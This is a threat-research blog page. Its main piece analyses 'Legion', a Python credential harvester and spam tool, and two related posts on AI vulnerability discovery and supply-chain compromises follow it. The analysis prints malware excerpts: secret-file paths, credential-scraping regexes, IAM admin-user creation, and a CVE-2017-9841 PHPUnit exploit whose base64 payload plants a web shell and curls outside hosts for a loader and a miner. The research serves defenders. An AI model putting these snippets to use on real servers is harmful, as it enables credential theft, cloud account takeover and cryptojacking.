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April 13, 2023

Legion: An AWS Credential Harvester and SMTP Hijacker

Cado Security Labs researchers (now part of Darktrace) encountered Legion, an emerging Python-based credential harvester and hacktool. Legion exploits various services for the purpose of email abuse.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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13
Apr 2023

Introduction

Cado Security Labs researchers (now part of Darktrace) encountered an emerging Python-based credential harvester and hacktool, named Legion, aimed at exploiting various services for the purpose of email abuse.  

The tool is sold via the Telegram messenger, and includes modules dedicated to:

  • enumerating vulnerable SMTP servers
  • conducting Remote Code Execution (RCE)
  • exploiting vulnerable versions of Apache
  • brute-forcing cPanel and WebHost Manager (WHM) accounts
  • interacting with Shodan’s API to retrieve a target list (provided you supply an API key)  
  • additional utilities, many of which involve abusing AWS services
Legion splash screen
Figure 1: Legion splash screen

The sample encountered by researchers appears to be related to another malware called AndroxGh0st [1]. At the time of writing, it had no detections on VirusTotal [2].

Screen
Figure 2: No open-source intelligence (OSINT) detections for legion.py.

Legion.py background

The sample itself is a rather long (21,015 line) Python3 script. Initial static analysis shows that the malware includes configurations for integrating with services such as Twilio and Shodan - more on this later. Telegram support is also included, with the ability to pipe the results of each of the modules into a Telegram chat via the Telegram Bot API.

  cfg['SETTINGS'] = {} 
  cfg['SETTINGS']['EMAIL_RECEIVER'] = 'put your email' 
  cfg['SETTINGS']['DEFAULT_TIMEOUT'] = '20' 
  cfg['TELEGRAM'] = {} 
  cfg['TELEGRAM']['TELEGRAM_RESULTS'] = 'on' 
  cfg['TELEGRAM']['BOT_TOKEN'] = 'bot token telegram' 
  cfg['TELEGRAM']['CHAT_ID'] = 'chat id telegram' 
  cfg['SHODAN'] = {} 
  cfg['SHODAN']['APIKEY'] = 'ADD YOUR SHODAN APIKEY' 
  cfg['TWILIO'] = {} 
  cfg['TWILIO']['TWILIOAPI'] = 'ADD YOUR TWILIO APIKEY' 
  cfg['TWILIO']['TWILIOTOKEN'] = 'ADD YOUR TWILIO AUTHTOKEN' 
  cfg['TWILIO']['TWILIOFROM'] = 'ADD YOUR FROM NUMBER' 
  cfg['SCRAPESTACK'] = {} 
  cfg['SCRAPESTACK']['SCRAPESTACK_KEY'] = 'scrapestack_key' 
  cfg['AWS'] = {} 
  cfg['AWS']['EMAIL'] = 'put your email AWS test' 

Legion.py - default configuration parameters

As mentioned above, the malware itself appears to be distributed via a public Telegram group. The sample also included references to a Telegram user with the handle “myl3gion”. At the time of writing, researchers accessed the Telegram group to determine whether additional information about the campaign could be discovered.  

Rather amusingly, one of the only recent messages was from the group owner warning members that the user myl3gion was in fact a scammer. There is no additional context to this claim, but it appears that the sample encountered was “illegitimately” circulated by this user.

Scam warning
Figure 3: Scam warning from Telegram group administrator

At the time of writing, the group had 1,090 members and the earliest messages were from February 2021.  

Researchers also encountered a YouTube channel named “Forza Tools”, which included a series of tutorial videos for using Legion. The fact that the developer behind the tool has made the effort of creating these videos, suggests that the tool is widely distributed and is likely paid malware.  

Forza tools youtube channel
Figure 4: Forza Tools YouTube Channel

Functionality

It’s clear from a cursory glance at the code, and from the YouTube tutorials described above, that the Legion credential harvester is primarily concerned with the exploitation of web servers running Content Management Systems (CMS), PHP, or PHP-based frameworks, such as Laravel.  

From these targeted servers, the tool uses a number of RegEx patterns to extract credentials for various web services. These include credentials for email providers, cloud service providers (i.e. AWS), server management systems, databases and payment systems - such as Stripe and PayPal. Typically, this type of tool would be used to hijack said services and use the infrastructure for mass spamming or opportunistic phishing campaigns.  

Additionally, the malware also includes code to implant webshells, brute-force CPanel or AWS accounts and send SMS messages to a list of dynamically-generated US mobile numbers.

Credential harvesting

Legion contains a number of methods for retrieving credentials from misconfigured web servers. Depending on the web server software, scripting language or framework the server is running, the malware will attempt to request resources known to contain secrets, parse them and save the secrets into results files sorted on a per-service basis.  

One such resource is the .env environment variables file, which often contains application-specific secrets for Laravel and other PHP-based web applications. The malware maintains a list of likely paths to this file, as well as similar files and directories for other web technologies. Examples of these can be seen in the table below.

Apache

/_profiler/phpinfo

/tool/view/phpinfo.view.php

/debug/default/view.html

/frontend/web/debug/default/view

/.aws/credentials

/config/aws.yml

/symfony/public/_profiler/phpinfo  

Laravel

/conf/.env

/wp-content/.env

/library/.env

/vendor/.env

/api/.env

/laravel/.env

/sites/all/libraries/mailchimp/.env

Generic debug paths

/debug/default/view?panel=config

/tool/view/phpinfo.view.php

/debug/default/view.html

/frontend/web/debug/default/view

/web/debug/default/view

/sapi/debug/default/view

/wp-config.php-backup

# grab password 
if 'DB_USERNAME=' in text: 
        method = './env' 
        db_user = re.findall("\nDB_USERNAME=(.*?)\n", text)[0] 
        db_pass = re.findall("\nDB_PASSWORD=(.*?)\n", text)[0] 
elif '<td>DB_USERNAME</td>' in text: 
        method = 'debug' 
        db_user = re.findall('<td>DB_USERNAME<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] 
        db_pass = re.findall('<td>DB_PASSWORD<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] 

Example of RegEx parsing code to retrieve database credentials from requested resources

if '<td>#TWILIO_SID</td>' in text: 
                  acc_sid = re.findall('<td>#TWILIO_SID<\\/td>\\s+<td><pre.*>(.*?)<\\/span>', text)[0] 
                  auhtoken = re.findall('<td>#TWILIO_AUTH<\\/td>\\s+<td><pre.*>(.*?)<\\/span>', text)[0] 
                  build = cleanit(url + '|' + acc_sid + '|' + auhtoken) 
                  remover = str(build).replace('\r', '') 
                  print(f"{yl}☆ [{gr}{ntime()}{red}] {fc}╾┄╼ {gr}TWILIO {fc}[{yl}{acc_sid}{res}:{fc}{acc_key}{fc}]") 
                  save = open(o_twilio, 'a') 
                  save.write(remover+'\n') 
                  save.close() 

Example of RegEx parsing code to retrieve Twilio secrets from requested resources

A full list of the services the malware attempts to extract credentials for can be seen in the table below.

Services targeted

  • Twilio
  • Nexmo
  • Stripe/Paypal (payment API function)
  • AWS console credentials
  • AWS SNS, S3 and SES specific credentials
  • Mailgun
  • Plivo
  • Clicksend
  • Mandrill
  • Mailjet
  • MessageBird
  • Vonage
  • Nexmo
  • Exotel
  • Onesignal
  • Clickatel
  • Tokbox
  • SMTP credentials
  • Database Administration and CMS credentials (CPanel, WHM, PHPmyadmin)

AWS features

As discussed in the previous section, Legion will attempt to retrieve credentials from insecure or misconfigured web servers. Of particular interest to those in cloud security is the malware’s ability to retrieve AWS credentials.  

Not only does the malware claim to harvest these from target sites, but it also includes a function dedicated to brute-forcing AWS credentials - named aws_generator().

def aws_generator(self, length, region): 
    chars = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9","/","/"] 
    chars = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"] 
    def aws_id(): 
        output = "AKIA" 
        for i in range(16): 
            output += random.choice(chars[0:38]).upper() 
        return output 
    def aws_key(): 
        output = "" 
        for i in range(40): 
            if i == 0 or i == 39: 
                randUpper = random.choice(chars[0:38]).upper() 
                output += random.choice([randUpper, random.choice(chars[0:38])]) 
            else: 
                randUpper = random.choice(chars[0:38]).upper() 
                output += random.choice([randUpper, random.choice(chars)]) 
        return output 
    self.show_info_message(message="Generating Total %s Of AWS Key, Please Wait....." % length) 

Example of AWS credential generation code

This is consistent with external analysis of AndroxGh0st [1], which similarly concludes that it seems statistically unlikely this functionality would result in usable credentials. Similar code for brute-forcing SendGrid (an email marketing company) credentials is also included.

Regardless of how credentials are obtained, the malware attempts to add an IAM user with the hardcoded username of ses_legion. Interestingly, in this sample of Legion the malware also tags the created user with the key “Owner” and a hardcoded value of “ms.boharas”.

def create_new_user(iam_client, user_name='ses_legion'): 
        user = None 
        try: 
                user = iam_client.create_user( 
                        UserName=user_name, 
                        Tags=[{'Key': 'Owner', 'Value': 'ms.boharas'}] 
                    ) 
        except ClientError as e: 
                if e.response['Error']['Code'] == 'EntityAlreadyExists': 
                        result_str = get_random_string() 
                        user_name = 'ses_{}'.format(result_str) 
                        user = iam_client.create_user(UserName=user_name, 
                        Tags=[{'Key': 'Owner', 'Value': 'ms.boharas'}] 
                    ) 
        return user_name, user 

IAM user creation and tagging code

An IAM group named SESAdminGroup is then created and the newly created user is added. From there, Legion attempts to create a policy based on the Administrator Access [3] Amazon managed policy. This managed policy allows full access and can delegate permissions to all services and resources within AWS. This includes the management console, providing access has been activated for the user.

def creat_new_group(iam_client, group_name='SESAdminGroup'): 
        try: 
                res = iam_client.create_group(GroupName=group_name) 
        except ClientError as e: 
                if e.response['Error']['Code'] == 'EntityAlreadyExists': 
                        result_str = get_random_string() 
                        group_name = "SESAdminGroup{}".format(result_str) 
                        res = iam_client.create_group(GroupName=group_name) 
        return res['Group']['GroupName']
def creat_new_policy(iam_client, policy_name='AdministratorAccess'): policy_json = {"Version": "2012-10-17","Statement": [{"Effect": "Allow", "Action": "*","Resource": "*"}]} try: res = iam_client.create_policy( PolicyName=policy_name, PolicyDocument=json.dumps(policy_json) ) except ClientError as e: if e.response['Error']['Code'] == 'EntityAlreadyExists': result_str = get_random_string() policy_name = "AdministratorAccess{}".format(result_str) res = iam_client.create_policy(PolicyName=policy_name, PolicyDocument=json.dumps(policy_json) ) return res['Policy']['Arn'] 

IAM group and policy creation code

Consistent with the assumption that Legion is primarily concerned with cracking email services, the malware attempts to use the newly created AWS IAM user to query Amazon Simple Email Service (SES) quota limits and even send a test email.

def check(countsd, key, secret, region): 
        try: 
                out = '' 
                client = boto3.client('ses', aws_access_key_id=key, aws_secret_access_key=secret, region_name=region) 
                try: 
                        response = client.get_send_quota() 
                        frommail = client.list_identities()['Identities'] 
                        if frommail: 
                                SUBJECT = "AWS Checker By @mylegion (Only Private Tools)" 
                                BODY_TEXT = "Region: {region}\r\nLimit: {limit}|{maxsendrate}|{last24}\r\nLegion PRIV8 Tools\r\n".format(key=key, secret=secret, region=region, limit=response['Max24HourSend']) 
                                CHARSET = "UTF-8" 
                                _to = emailnow 

SMS hijacking capability

One feature of Legion not covered by previous research is the ability to deliver SMS spam messages to users of mobile networks in the US. To do this, the malware retrieves the area code for a US state of the user’s choosing from the website www.randomphonenumbers.com.  

To retrieve the area code, Legion uses Python’s BeautifulSoup HTML parsing library. A rudimentary number generator function is then used to build up a list of phone numbers to target.

def generate(self): 
    print('\n\n\t{0}╭╼[ {1}Starting Service {0}]\n\t│'.format(fg[5], fg[6])) 
    url = f'https://www.randomphonenumbers.com/US/random_{self.state}_phone_numbers'.replace(' ', '%20') 
    print('\t{0}│ [ {1}WEBSITE LOADED{0} ] {2}{3}{0}'.format(fg[5], fg[2], fg[1], url)) 
    query = requests.get(url) 
    soup = BeautifulSoup(query.text, 'html.parser') 
    list = soup.find_all('ul')[2] 
    urls = [] 
    for a in list.find_all('a', href=True): 
        url = f'https://www.randomphonenumbers.com{a["href"]}' 
        print('\t{0}│ [ {1}PARSING URLS{0}   ] {2}{3}'.format(fg[5], fg[2], fg[1], url), end='\r') 
        urls.append(url) 
        time.sleep(0.01) 
    print(' ' * 100, end='\r') 
    print('\t{0}│ [ {1}URLS PARSED{0}    ] {2}{3}\n\t│'.format(fg[5], fg[3], fg[1], len(urls)), end='\r')
def generate_number(area_code, carrier): for char in string.punctuation: carrier = carrier.replace(char, ' ') numbers = '' for number in [area_code + str(x) for x in range(0000, 9999)]: if len(number) != 10: gen = number.split(area_code)[1] number = area_code + str('0' * (10-len(area_code)-len(gen))) + gen numbers += number + '\n' with open(f'Generator/Carriers/{carrier}.txt', 'a+') as file: file.write(numbers)  

Web scraping and phone number generation code

To send the SMS messages themselves, the malware checks for saved SMTP credentials retrieved by one of the credential harvesting modules. Targeted carriers are listed below:

US Mobile Carriers

  • Alltel
  • Amp'd Mobile
  • AT&T
  • Boost Mobile
  • Cingular
  • Cricket
  • Einstein PCS
  • Sprint
  • SunCom
  • T-Mobile
  • VoiceStream
  • US Cellular
  • Verizon
  • Virgin
while not is_prompt: 
    print('\t{0}┌╼[{1}USA SMS Sender{0}]╾╼[{2}Choose Carrier to SPAM{0}]\n\t└─╼ '.format(fg[5], fg[0], fg[6]), end='') 
    try: 
        prompt = int(input('')) 
        if prompt in [int(x) for x in carriers.keys()]: 
            self.carrier = carriers[str(prompt)] 
            is_prompt = True 
        else: 
            print('\t{0}[{1}!{0}]╾╼[{2}Please enter a valid choice!{0}]'.format(fg[5], fg[0], fg[2]), end='\r') 
            time.sleep(1) 
    except ValueError: 
        print('\t{0}[{1}!{0}]╾╼[{2}Please enter a valid choice!{0}]'.format(fg[5], fg[0], fg[2]), end='\r') 
        time.sleep(1) 
print('\t{0}┌╼[{1}USA SMS Sender{0}]╾╼[{2}Please enter your message {0}| {2}160 Max Characters{0}]\n\t└─╼ '.format(fg[5], fg[0], fg[6]), end='') 
self.message = input('') 
print('\t{0}┌╼[{1}USA SMS Sender{0}]╾╼[{2}Please enter sender email{0}]\n\t└─╼ '.format(fg[5], fg[0], fg[6]), end='') 
self.sender_email = input('') 

Carrier selection code example

PHP exploitation

Not content with simply harvesting credentials for the purpose of email and SMS spamming, Legion also includes traditional hacktool functionality. One such feature is the ability to exploit well-known PHP vulnerabilities to register a webshell or remotely execute malicious code.

The malware uses several methods for this. One such method is posting a string preceded by <?php and including base64-encoded PHP code to the path "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php". This is a well-known PHP unauthenticated RCE vulnerability, tracked as CVE-2017-9841. It’s likely that Proof of Concept (PoC) code for this vulnerability was found online and integrated into the malware.

path = "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" 
url = url + path 
phpinfo = "<?php phpinfo(); ?>" 
try: 
    requester_1 = requests.post(url, data=phpinfo, timeout=15, verify=False) 
    if "phpinfo()" in requester_1.text: 
        payload_ = '<?php $root = $_SERVER["DOCUMENT_ROOT"]; $myfile = fopen($root . "/'+pathname+'", "w") or die("Unable to open file!"); $code = "PD9waHAgZWNobyAnPGNlbnRlcj48aDE+TEVHSU9OIEVYUExPSVQgVjQgKE7Eg3ZvZGFyaSBQb3dlcik8L2gxPicuJzxicj4nLidbdW5hbWVdICcucGhwX3VuYW1lKCkuJyBbL3VuYW1lXSAnO2VjaG8nPGZvcm0gbWV0aG9kPSJwb3N0ImVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPic7ZWNobyc8aW5wdXQgdHlwZT0iZmlsZSJuYW1lPSJmaWxlIj48aW5wdXQgbmFtZT0iX3VwbCJ0eXBlPSJzdWJtaXQidmFsdWU9IlVwbG9hZCI+PC9mb3JtPic7aWYoICRfUE9TVFsnX3VwbCddPT0iVXBsb2FkIil7aWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSl7ZWNobyc8Yj5MRUdJT04gRXhwbG9pdCBTdWNjZXNzITwvYj4nO31lbHNle2VjaG8nPGI+TEVHSU9OIEV4cGxvaXQgU3VjY2VzcyE8L2I+Jzt9fSBzeXN0ZW0oJ2N1cmwgLXMgLWsgMi41Ny4xMjIuMTEyL3JjZS9sb2FkIC1vIGFkaW5kZXgucGhwOyBjZCAvdG1wOyBjdXJsIC1PIDkxLjIxMC4xNjguODAvbWluZXIuanBnOyB0YXIgeHp2ZiBtaW5lci5qcGcgPiAvZGV2L251bGw7IHJtIC1yZiBtaW5lci5qcGc7IGNkIC54OyAuL3ggPiAvZGV2L251bGwnKTsKPz4="; fwrite($myfile, base64_decode($code)); fclose($myfile); echo("LEGION EXPLOIT V3"); ?>' 
        send_payload = requests.post(url, data=payload_, timeout=15, verify=False) 
        if "LEGION EXPLOIT V3" in send_payload.text: 
            status_exploit = "Successfully" 
        else: 
            status_exploit = "Can't exploit" 
    else: 
        status_exploit = "May not vulnerable"

Key takeaways

Legion is a general-purpose credential harvester and hacktool, designed to assist in compromising services for conducting spam operations via SMS and SMTP.  

Analysis of the Telegram groups in which this malware is advertised suggests a relatively wide distribution. Two groups monitored by Cado researchers had a combined total of 5,000 members. While not every member will have purchased a license for Legion, these numbers show that interest in such a tool is high. Related research indicates that there are a number of variants of this malware, likely with their own distribution channels.  

Throughout the analyzed code, researchers encountered several Indonesian-language comments, suggesting that the developer may either be Indonesian themselves or based in Indonesia. In a function dedicated to PHP exploitation, a link to a GitHub Gist leads to a user named Galeh Rizky. This user’s profile suggests that they are located in Indonesia, which ties in with the comments seen throughout the sample. It’s not clear whether Galeh Rizky is the developer behind Legion, or if their code just happens to be included in the sample.

Since this malware relies heavily on misconfigurations in web server technologies and frameworks such as Laravel, it’s recommended that users of these technologies review their existing security processes and ensure that secrets are appropriately stored. Ideally, if credentials are to be stored in a .env file, this should be stored outside web server directories so that it’s inaccessible from the web.  

For best practices on investigating and responding to threats in AWS cloud environments, check out our Ultimate Guide to Incident Response in AWS.

Indicators of compromise (IoCs)

Filename SHA256

legion.py fcd95a68cd8db0199e2dd7d1ecc4b7626532681b41654519463366e27f54e65a

legion.py (variant) 42109b61cfe2e1423b6f78c093c3411989838085d7e6a5f319c6e77b3cc462f3

User agents

Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36

Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36

Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36  

References

  1. https://www.fortinet.com/products/forticnapp
  2. https://www.virustotal.com/gui/file/fcd95a68cd8db0199e2dd7d1ecc4b7626532681b41654519463366e27f54e65a
  3. https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_job-functions.html
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community

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May 8, 2026

The Next Step After Mythos: Defending in a World Where Compromise is Expected

mythos cybersecurityDefault blog imageDefault blog image

Is Anthropic’s Mythos a turning point for cybersecurity?

Anthropic’s recent announcements around their Mythos model, alongside the launch of Project Glasswing, have generated significant interest across the cybersecurity industry.

The closed-source nature of the Mythos model has understandably attracted a degree of skepticism around some of the claims being made. Additionally, Project Glasswing was initially positioned as a way for software vendors to accelerate the proactive discovery of vulnerabilities in their own code; however, much of the attention has focused on the potential for AI to identify exploitable vulnerabilities for those with malicious intent.

Putting questions around the veracity of those claims to one side – which, for what it’s worth, do appear to be at least partially endorsed by independent bodies such as the UK’s AI Security Institute – this should not be viewed as a critical turning point for the industry. Rather, it reflects the natural direction of travel.

How Mythos affects cybersecurity teams  

At Darktrace, extolling the virtues of AI within cybersecurity is understandably close to our hearts. However, taking a step back from the hype, we’d like to consider what developments like this mean for security teams.

Whether it’s Mythos or another model yet to be released, it’s worth remembering that there is no fundamental difference between an AI discovered vulnerability and one discovered by a human. The change is in the pace of discovery and, some may argue, the lower the barrier to entry.

In the hands of a software developer, this is unquestionably positive. Faster discovery enables earlier remediation and more proactive security. But in the hands of an attacker, the same capability will likely lead to a greater number of exploitable vulnerabilities being used in the wild and, critically, vulnerabilities that are not yet known to either the vendor or the end user.

That said, attackers have always been able to find exploitable vulnerabilities and use them undetected for extended periods of time. The use of AI does not fundamentally change this reality, but it does make the process faster and, unfortunately, more likely to occur at scale.

While tools such as Darktrace / Attack Surface Management and / Proactive Exposure Management  can help security teams prioritize where to patch, the emergence of AI-driven vulnerability discovery reinforces an important point: patching alone is not a sufficient control against modern cyber-attacks.

Rethinking defense for a world where compromise is expected

Rather than assuming vulnerabilities can simply be patched away, defenders are better served by working from the assumption that their software is already vulnerable - and always will be -and build their security strategy accordingly.

Under that assumption, defenders should expect initial access, particularly across internet exposed assets, to become easier for attackers. What matters then is how quickly that foothold is detected, contained, and prevented from expanding.

For defenders, this places renewed emphasis on a few core capabilities:

  • Secure-by-design architectures and blast radius reduction, particularly around identity, MFA, segmentation, and Zero Trust principles
  • Early, scalable detection and containment, favoring behavioral and context-driven signals over signatures alone
  • Operational resilience, with the expectation of more frequent early-stage incidents that must be managed without burning out teams

How Darktrace helps organizations proactively defend against cyber threats

At Darktrace, we support security teams across all three of these critical capabilities through a multi-layered AI approach. Our Self-Learning AI learns what’s normal for your organization, enabling real-time threat detection, behavioral prediction, incident investigation and autonomous response. - all while empowering your security team with visibility and control.

To learn more about Darktrace’s application of AI to cybersecurity download our White Paper here.  

Reducing blast radius through visibility and control

Secure-by-design principles depend on understanding how users, devices, and systems behave. By learning the normal patterns of identity and network activity, Darktrace helps teams identify when access is being misused or when activity begins to move beyond expected boundaries. This makes it possible to detect and contain lateral movement early, limiting how far an attacker can progress even after initial access.

Detecting and containing threats at the earliest stage  

As AI accelerates vulnerability discovery, defenders need to identify exploitation before it is formally recognized. Darktrace’s behavioral understanding approach enables detection of subtle deviations from normal activity, including those linked to previously unknown vulnerabilities.

A key example of this is our research on identifying cyber threats before public CVE disclosures, demonstrating that assessing activity against what is normal for a specific environment, rather than relying on predefined indicators of compromise, enables detection of intrusions exploiting previously unknown vulnerabilities days or even weeks before details become publicly available.

Additionally, our Autonomous Response capability provides fast, targeted containment focused on the most concerning events, while allowing normal business operations to continue. This has consistently shown that even when attackers use techniques never seen before, Darktrace’s Autonomous Response can contain threats before they have a chance to escalate.

Scaling response without increasing operational burden

As early-stage incidents become more frequent, the ability to investigate and respond efficiently becomes critical. Darktrace’s Cyber AI Analyst’s AI-driven investigation capabilities automatically correlate activity across the environment, prioritizing the most significant threats and reducing the need for manual triage. This allows security teams to respond faster and more consistently, without increasing workload or burnout.

What effective defense looks like in an AI-accelerated landscape

Developments like Mythos highlight a reality that has been building for some time: the window between exposure and exploitation is shrinking, and in many cases, it may disappear entirely. In that environment, relying on patching alone becomes increasingly reactive, leaving little room to respond once access has been established.

The more durable approach is to assume that compromise will occur and focus on controlling what happens next. That means identifying early signs of misuse, containing threats before they spread, and maintaining visibility across the environment so that isolated signals can be understood in context.

AI plays a role on both sides of this equation. While it enables attackers to move faster, it also gives defenders the ability to detect subtle changes in behavior, prioritize what matters, and respond in real time. The advantage will not come from adopting AI in isolation, but from applying it in a way that reduces the gap between detection and action.

AI may be accelerating parts of the attack lifecycle, but the fundamentals of defense, detection, and containment still apply. If anything, they matter more than ever – and AI is just as powerful a tool for defenders as it is for attackers.

To learn more about Darktrace and Mythos read more on our blog: Mythos vs Ethos: Defending in an Era of AI‑Accelerated Vulnerability Discovery

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Toby Lewis
Head of Threat Analysis

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May 6, 2026

When Trust Becomes the Attack Surface: Supply-Chain Attacks in an Era of Automation and Implicit Trust

Software supply chain attacksDefault blog imageDefault blog image

Software supply-chain attacks in 2026

Software supply-chain attacks now represent the primary threat shaping the 2026 security landscape. Rather than relying on exploits at the perimeter, attackers are targeting the connective tissue of modern engineering environments: package managers, CI/CD automation, developer systems, and even the security tools organizations inherently trust.

These incidents are not isolated cases of poisoned code. They reflect a structural shift toward abusing trusted automation and identity at ecosystem scale, where compromise propagates through systems designed for speed, not scrutiny. Ephemeral build runners, regardless of provider, represent high‑trust, low‑visibility execution zones.

The Axios compromise and the cascading Trivy campaign illustrate how quickly this abuse can move once attacker activity enters build and delivery workflows. This blog provides an overview of the latest supply chain and security tool incidents with Darktrace telemetry and defensive actions to improve organizations defensive cyber posture.

1. Why the Axios Compromise Scaled

On 31 March 2026, attackers hijacked the npm account of Axios’s lead maintainer, publishing malicious versions 1.14.1 and 0.30.4 that silently pulled in a malicious dependency, plain‑crypto‑[email protected]. Axios is a popular HTTP client for node.js and  processes 100 million weekly downloads and appears in around 80% of cloud and application environments, making this a high‑leverage breach [1].

The attack chain was simple yet effective:

  • A compromised maintainer account enabled legitimate‑looking malicious releases.
  • The poisoned dependency executed Remote Access Trojans (RATs) across Linux, macOS and Windows systems.
  • The malware beaconed to a remote command-and-control (C2) server every 60 seconds in a loop, awaiting further instructions.
  • The installer self‑cleaned by deleting malicious artifacts.

All of this matters because a single maintainer compromise was enough to project attacker access into thousands of trusted production environments without exploiting a single vulnerability.

A view from Darktrace

Multiple cases linked with the Axios compromise were identified across Darktrace’s customer base in March 2026, across both Darktrace / NETWORK and Darktrace / CLOUD deployments.

In one Darktrace / CLOUD deployment, an Azure Cloud Asset was observed establishing new external HTTP connectivity to the IP 142.11.206[.]73 on port 8000. Darktrace deemed this activity as highly anomalous for the device based on several factors, including the rarity of the endpoint across the network and the unusual combination of protocol and port for this asset. As a result, the triggering the "Anomalous Connection / Application Protocol on Uncommon Port" model was triggered in Darktrace / CLOUD. Detection was driven by environmental context rather than a known indicator at the time. Subsequent reporting later classified the destination as malicious in relation to the Axios supply‑chain compromise, reinforcing the gap that often exists between initial attacker activity and the availability of actionable intelligence. [5]

Additionally, shortly before this C2 connection, the device was observed communicating with various endpoints associated with the NPM package manager, further reinforcing the association with this attack.

Darktrace’s detection of the unusual external connection to 142.11[.]206[.]73 via port 8000.  
Figure 1: Darktrace’s detection of the unusual external connection to 142.11[.]206[.]73 via port 8000.  

Within Axios cases observed within Darktrace / NETWORK customer environments, activity generally focused on the use of newly observed cURL user agents in outbound connections to the C2 URL sfrclak[.]com/6202033, alongside the download of malicious files.

In other cases, Darktrace / NETWORK customers with Microsoft Defender for Endpoint integration received alerts flagging newly observed system executables and process launches associated with C2 communication.

A Security Integration Alert from Microsoft Defender for Endpoint associated with the Axios supply chain attack.
Figure 2: A Security Integration Alert from Microsoft Defender for Endpoint associated with the Axios supply chain attack.

2. Why Trivy bypassed security tooling trust

Between late February and March 22, 2026, the threat group TeamPCP leveraged credentials from a previous incident to insert malicious artifacts across Trivy’s distribution ecosystem, including its CI automation, release binaries, Visual Studio Code extensions, and Docker container images [2].

While public reporting has emphasized GitHub Actions, Darktrace telemetry highlights attacker execution within CI/CD runner environments, including ephemeral build runners. These execution contexts are typically granted broad trust and limited visibility, allowing malicious activity within build automation to blend into expected operational workflows, regardless of provider.

This was a coordinated multi‑phase attack:

  • 75 of 76  of trivy-action tags and all setup‑trivy tags were force‑pushed to deliver a malicious payload.
  • A malicious binary (v0.69.4) was distributed across all major distribution channels.
  • Developer machines were compromised, receiving a persistent backdoor and a self-propagating worm.
  • Secrets were exfiltrated at scale, including SSH keys, Kuberenetes tokens, database passwords, and cloud credentials across Amazon Web Service (AWS), Azure, and Google Cloud Platform (GCP).

Within Darktrace’s customer base, an AWS EC2 instance monitored by Darktrace / CLOUD  appeared to have been impacted by the Trivy attack. On March 19, the device was seen connecting to the attacker-controlled C2 server scan[.]aquasecurtiy[.]org (45.148.10[.]212), triggering the model 'Anomalous Server Activity / Outgoing from Server’ in Darktrace / CLOUD.

Despite this limited historical context, Darktrace assessed this activity as suspicious due to the rarity of the destination endpoint across the wider deployment. This resulted in the triggering of a model alert and the generation of a Cyber AI Analyst incident to further analyze and correlate the attack activity.

TeamPCP’s continued abused of GitHub Actions against security and IT tooling has also been observed more recently in Darktrace’s customer base. On April 22, an AWS asset was seen connecting to the C2 endpoint audit.checkmarx[.]cx (94.154.172[.]43). The timing of this activity suggests a potential link to a malicious Bitwarden package distributed by the threat actor, which was only available for a short timeframe on April 22. [4][3]

Figure 3: A model alert flagging unusual external connectivity from the AWS asset, as seen in Darktrace / CLOUD .

While the Trivy activity originated within build automation, the underlying failure mode mirrors later intrusions observed via management tooling. In both cases, attackers leveraged platforms designed for scale and trust to execute actions that blended into normal operational noise until downstream effects became visible.

Quest KACE: Legacy Risk, Real Impact

The Quest KACE System Management Appliance (SMA) incident reinforces that software risk is not confined to development pipelines alone. High‑trust infrastructure and management platforms are increasingly leveraged by adversaries when left unpatched or exposed to the internet.

Throughout March 2026, attackers exploited CVE 2025-32975 to authentication on outdated, internet-facing KACE appliances, gaining administrative control and pushing remote payloads into enterprise environments. Organizations still running pre-patch versions effectively handed adversaries a turnkey foothold, reaffirming a simple strategic truth: legacy management systems are now part of the supply-chain threat surface, and treating them as “low-risk utilities” is no longer defensible [3].

Within the Darktrace customer base, a potential case was identified in mid-March involving an internet-facing server that exhibited the use of a new user agent alongside unusual file downloads and unexpected external connectivity. Darktrace identified the device downloading file downloads from "216.126.225[.]156/x", "216.126.225[.]156/ct.py" and "216.126.225[.]156/n", using the user agents, "curl/8.5.0" & "Python-urllib/3.9".

The timeframe and IoCs observed point towards likely exploitation of CVE‑2025‑32975. As with earlier incidents, the activity became visible through deviations in expected system behavior rather than through advance knowledge of exploitation or attacker infrastructure. The delay between observed exploitation and its addition to the Known Exploited Vulnerabilities (KEV) catalogue underscores a recurring failure: retrospective validation cannot keep pace with adversaries operating at automation speed.

The strategic pattern: Ecosystem‑scale adversaries

